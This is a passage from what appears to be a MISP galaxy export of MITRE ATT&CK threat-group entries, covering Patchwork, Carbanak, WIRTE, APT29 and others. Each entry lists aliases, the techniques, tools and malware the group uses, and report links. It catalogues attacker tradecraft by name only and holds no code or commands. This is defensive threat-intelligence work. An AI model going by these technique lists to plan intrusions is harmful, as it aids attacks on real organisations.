- uses: misp-galaxy:mitre-attack-pattern="Develop social network persona digital footprint - T1342" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="OilRig" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="Cleaver" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Build social network persona - T1341" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="CHRYSENE" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Social Media Accounts - T1585.001" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="Flying Kitten" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-malware="TinyZBot - S0004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscation or cryptography - T1313" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="ARP Cache Poisoning - T1557.002" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="Clever Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Rocket Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Charming Kitten" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Create custom payloads - T1345" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Net Crawler - S0056" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"

Table 5041. Table References

Links
http://www.secureworks.com/cyber-threat-intelligence/threats/suspected-iran-based-hacker-group-creates-network-of-fake-linkedin-profiles/
https://attack.mitre.org/groups/G0003
https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf

Patchwork - G0040

[Patchwork](https://attack.mitre.org/groups/G0040) is a cyberespionage group that was first observed in December 2015. While the group has not been definitively attributed, circumstantial evidence suggests the group may be a pro-Indian or Indian entity. [Patchwork](https://attack.mitre.org/groups/G0040) has been seen targeting industries related to diplomatic and government agencies. Much of the code used by this group was copied and pasted from online forums. [Patchwork](https://attack.mitre.org/groups/G0040) was also seen operating spearphishing campaigns targeting U.S. think tank groups in March and April of 2018. (Citation:

Cymmetria Patchwork) (Citation: Symantec Patchwork) (Citation: TrendMicro Patchwork Dec 2017) (Citation: Volexity Patchwork June 2018)

The tag is: *misp-galaxy:mitre-intrusion-set="Patchwork - G0040"*

Patchwork - G0040 is also known as:

- Patchwork
- Hangover Group
- Dropping Elephant
- Chinastrats
- MONSOON
- Operation Hangover

View relationships graph

Patchwork - G0040 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="PowerSploit - S0194" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="QUILTED TIGER" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1559.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing Certificates - T1587.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="TINYTYPHON - S0131" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Unknown Logger - S0130" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1027.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1055.012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="BackConfig - S0475" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-

probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="NDiskMonitor - S0272" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="QuasarRAT - S0262" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="BADNEWS - S0128" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="AutoIt backdoor - S0129" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dead Drop Resolver - T1102.001" with estimative-language:likelihood-probability="almost-certain"

Table 5042. Table References

Links
http://enterprise-manage.norman.c.bitbit.net/resources/files/Unveiling_an_Indian_Cyberattack_Infrastructure.pdf
http://www.symantec.com/connect/blogs/patchwork-cyberespionage-group-expands-targets-governments-wide-range-industries
https://attack.mitre.org/groups/G0040

https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf
https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/
https://securelist.com/the-dropping-elephant-actor/75328/
https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/
https://web.archive.org/web/20180825085952/https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf
https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf
https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/

Carbanak - G0008

[Carbanak](https://attack.mitre.org/groups/G0008) is a cybercriminal group that has used [Carbanak](https://attack.mitre.org/software/S0030) malware to target financial institutions since at least 2013. [Carbanak](https://attack.mitre.org/groups/G0008) may be linked to groups tracked separately as [Cobalt Group](https://attack.mitre.org/groups/G0080) and [FIN7](https://attack.mitre.org/groups/G0046) that have also used [Carbanak](https://attack.mitre.org/software/S0030) malware.(Citation: Kaspersky Carbanak)(Citation: FireEye FIN7 April 2017)(Citation: Europol Cobalt Mar 2018)(Citation: Secureworks GOLD NIAGARA Threat Profile)(Citation: Secureworks GOLD KINGSWOOD Threat Profile)

The tag is: *misp-galaxy:mitre-intrusion-set="Carbanak - G0008"*

Carbanak - G0008 is also known as:

- Carbanak
- Anunak

View relationships graph

Carbanak - G0008 has relationships with:

- similar: misp-galaxy:threat-actor="FIN7" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Remote Access Software - T1219" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="netsh - S0108" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Carbanak - S0030" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"

Table 5043. Table References

Links
https://attack.mitre.org/groups/G0008
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf
https://www.europol.europa.eu/newsroom/news/mastermind-behind-eur-1-billion-cyber-bank-robbery-arrested-in-spain
https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html
https://www.fox-it.com/en/news/blog/anunak-aka-carbanak-update/
https://www.secureworks.com/research/threat-profiles/gold-kingswood?filter=item-financial-gain
https://www.secureworks.com/research/threat-profiles/gold-niagara

WIRTE - G0090

[WIRTE](https://attack.mitre.org/groups/G0090) is a threat group that has been active since at least August 2018. [WIRTE](https://attack.mitre.org/groups/G0090) has targeted government, diplomatic, financial, military, legal, and technology organizations in the Middle East and Europe.(Citation: Lab52 WIRTE Apr 2019)(Citation: Kaspersky WIRTE November 2021)

The tag is: *misp-galaxy:mitre-intrusion-set="WIRTE - G0090"*

WIRTE - G0090 is also known as:

- WIRTE

View relationships graph

WIRTE - G0090 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Empire - S0363" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Ferocious - S0679" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="LitePower - S0680" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5044. Table References

Links
https://attack.mitre.org/groups/G0090
https://lab52.io/blog/wirte-group-attacking-the-middle-east/

https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044

Frankenstein - G0101

[Frankenstein](https://attack.mitre.org/groups/G0101) is a campaign carried out between January and April 2019 by unknown threat actors. The campaign name comes from the actors' ability to piece together several unrelated components.(Citation: Talos Frankenstein June 2019)

The tag is: *misp-galaxy:mitre-intrusion-set="Frankenstein - G0101"*

Frankenstein - G0101 is also known as:

- Frankenstein

View relationships graph

Frankenstein - G0101 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Empire - S0363" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with

estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="MSBuild - T1127.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Template Injection - T1221" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5045. Table References

Links
https://attack.mitre.org/groups/G0101
https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html

PittyTiger - G0011

[PittyTiger](https://attack.mitre.org/groups/G0011) is a threat group believed to operate out of China that uses multiple different types of malware to maintain command and control.(Citation: Bizeul 2014)(Citation: Villeneuve 2014)

The tag is: *misp-galaxy:mitre-intrusion-set="PittyTiger - G0011"*

PittyTiger - G0011 is also known as:

- PittyTiger

View relationships graph

PittyTiger - G0011 has relationships with:

- uses: misp-galaxy:mitre-malware="Lurid - S0010" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="APT24" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-malware="gh0st RAT - S0032" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="gsecdump - S0008" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="almost-certain"

Table 5046. Table References

Links
https://airbus-cyber-security.com/the-eye-of-the-tiger/
https://attack.mitre.org/groups/G0011
https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html

APT16 - G0023

[APT16](https://attack.mitre.org/groups/G0023) is a China-based threat group that has launched spearphishing campaigns targeting Japanese and Taiwanese organizations. (Citation: FireEye EPS Awakens Part 2)

The tag is: *misp-galaxy:mitre-intrusion-set="APT16 - G0023"*

APT16 - G0023 is also known as:

- APT16

View relationships graph

APT16 - G0023 has relationships with:

- uses: misp-galaxy:mitre-malware="ELMER - S0064" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Identify business relationships - T1272" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Server - T1584.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Compromise 3rd party infrastructure to support delivery - T1334" with estimative-language:likelihood-probability="almost-certain"

Table 5047. Table References

Links
https://attack.mitre.org/groups/G0023
https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html

APT17 - G0025

[APT17](https://attack.mitre.org/groups/G0025) is a China-based threat group that has conducted network intrusions against U.S. government entities, the defense industry, law firms, information technology companies, mining companies, and non-government organizations. (Citation: FireEye APT17)

The tag is: *misp-galaxy:mitre-intrusion-set="APT17 - G0025"*

APT17 - G0025 is also known as:

- APT17
- Deputy Dog

View relationships graph

APT17 - G0025 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Develop social network persona digital footprint - T1342" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscate infrastructure - T1331" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Services - T1583.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Build social network persona - T1341" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="APT17" with estimative-language:likelihood-

probability="likely"

- uses: misp-galaxy:mitre-attack-pattern="Establish Accounts - T1585" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="BLACKCOFFEE - S0069" with estimative-language:likelihood-probability="almost-certain"

Table 5048. Table References

Links
https://attack.mitre.org/groups/G0025
https://www2.fireeye.com/rs/fireeye/images/APT17_Report.pdf

APT18 - G0026

[APT18](https://attack.mitre.org/groups/G0026) is a threat group that has operated since at least 2009 and has targeted a range of industries, including technology, manufacturing, human rights groups, government, and medical. (Citation: Dell Lateral Movement)

The tag is: *misp-galaxy:mitre-intrusion-set="APT18 - G0026"*

APT18 - G0026 is also known as:

- APT18
- TG-0416
- Dynamite Panda
- Threat Group-0416

View relationships graph

APT18 - G0026 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="SAMURAI PANDA" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="gh0st RAT - S0032" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="APT4" with estimative-language:likelihood-

probability="likely"

- similar: misp-galaxy:threat-actor="APT18" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-malware="hcdLoader - S0071" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Pisloader - S0124" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="cmd - S0106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="HTTPBrowser - S0070" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="At - T1053.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 5049. Table References

Links
http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/
https://attack.mitre.org/groups/G0026
https://www.anomali.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop
https://www.threatstream.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop

APT29 - G0016

[APT29](https://attack.mitre.org/groups/G0016) is threat group that has been attributed to Russia's Foreign Intelligence Service (SVR).(Citation: White House Imposing Costs RU Gov April 2021)(Citation: UK Gov Malign RIS Activity April 2021) They have operated since at least 2008, often targeting government networks in Europe and NATO member countries, research institutes, and think tanks. [APT29](https://attack.mitre.org/groups/G0016) reportedly compromised the Democratic National Committee starting in the summer of 2015.(Citation: F-Secure The Dukes)(Citation: GRIZZLY STEPPE JAR)(Citation: Crowdstrike DNC June 2016)(Citation: UK Gov UK Exposes Russia SolarWinds April 2021)

In April 2021, the US and UK governments attributed the SolarWinds supply chain compromise cyber operation to the SVR; public statements included citations to [APT29](https://attack.mitre.org/groups/G0016), Cozy Bear, and The Dukes.(Citation: NSA Joint Advisory SVR SolarWinds April 2021)(Citation: UK NSCS Russia SolarWinds April 2021) Victims of this campaign included government, consulting, technology, telecom, and other organizations in North America, Europe, Asia, and the Middle East. Industry reporting referred to the actors involved in this campaign as UNC2452, NOBELIUM, StellarParticle, and Dark Halo.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: MSTIC NOBELIUM Mar 2021)(Citation: CrowdStrike SUNSPOT Implant January 2021)(Citation: Volexity SolarWinds)(Citation: Cybersecurity Advisory SVR TTP May 2021)

The tag is: *misp-galaxy:mitre-intrusion-set="APT29 - G0016"*

APT29 - G0016 is also known as:

- APT29
- IRON RITUAL
- IRON HEMLOCK
- NobleBaron
- Dark Halo
- StellarParticle
- NOBELIUM
- UNC2452
- YTTRIUM
- The Dukes
- Cozy Bear
- CozyDuke

View relationships graph

APT29 - G0016 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-malware="PowerDuke - S0139" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="BloodHound - S0521" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Steal Web Session Cookie - T1539" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Sliver - S0633" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Internet Connection Discovery - T1016.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="GeminiDuke - S0049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Digital Certificates - T1587.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SAML Tokens - T1606.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malware - T1587.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Trust Modification - T1484.002" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-tool="ipconfig - S0100" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Groups - T1069.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="AADInternals - S0677" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="HAMMERTOSS - S0037" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Additional Cloud Roles - T1098.003" with estimative-language:likelihood-probability="almost-certain"
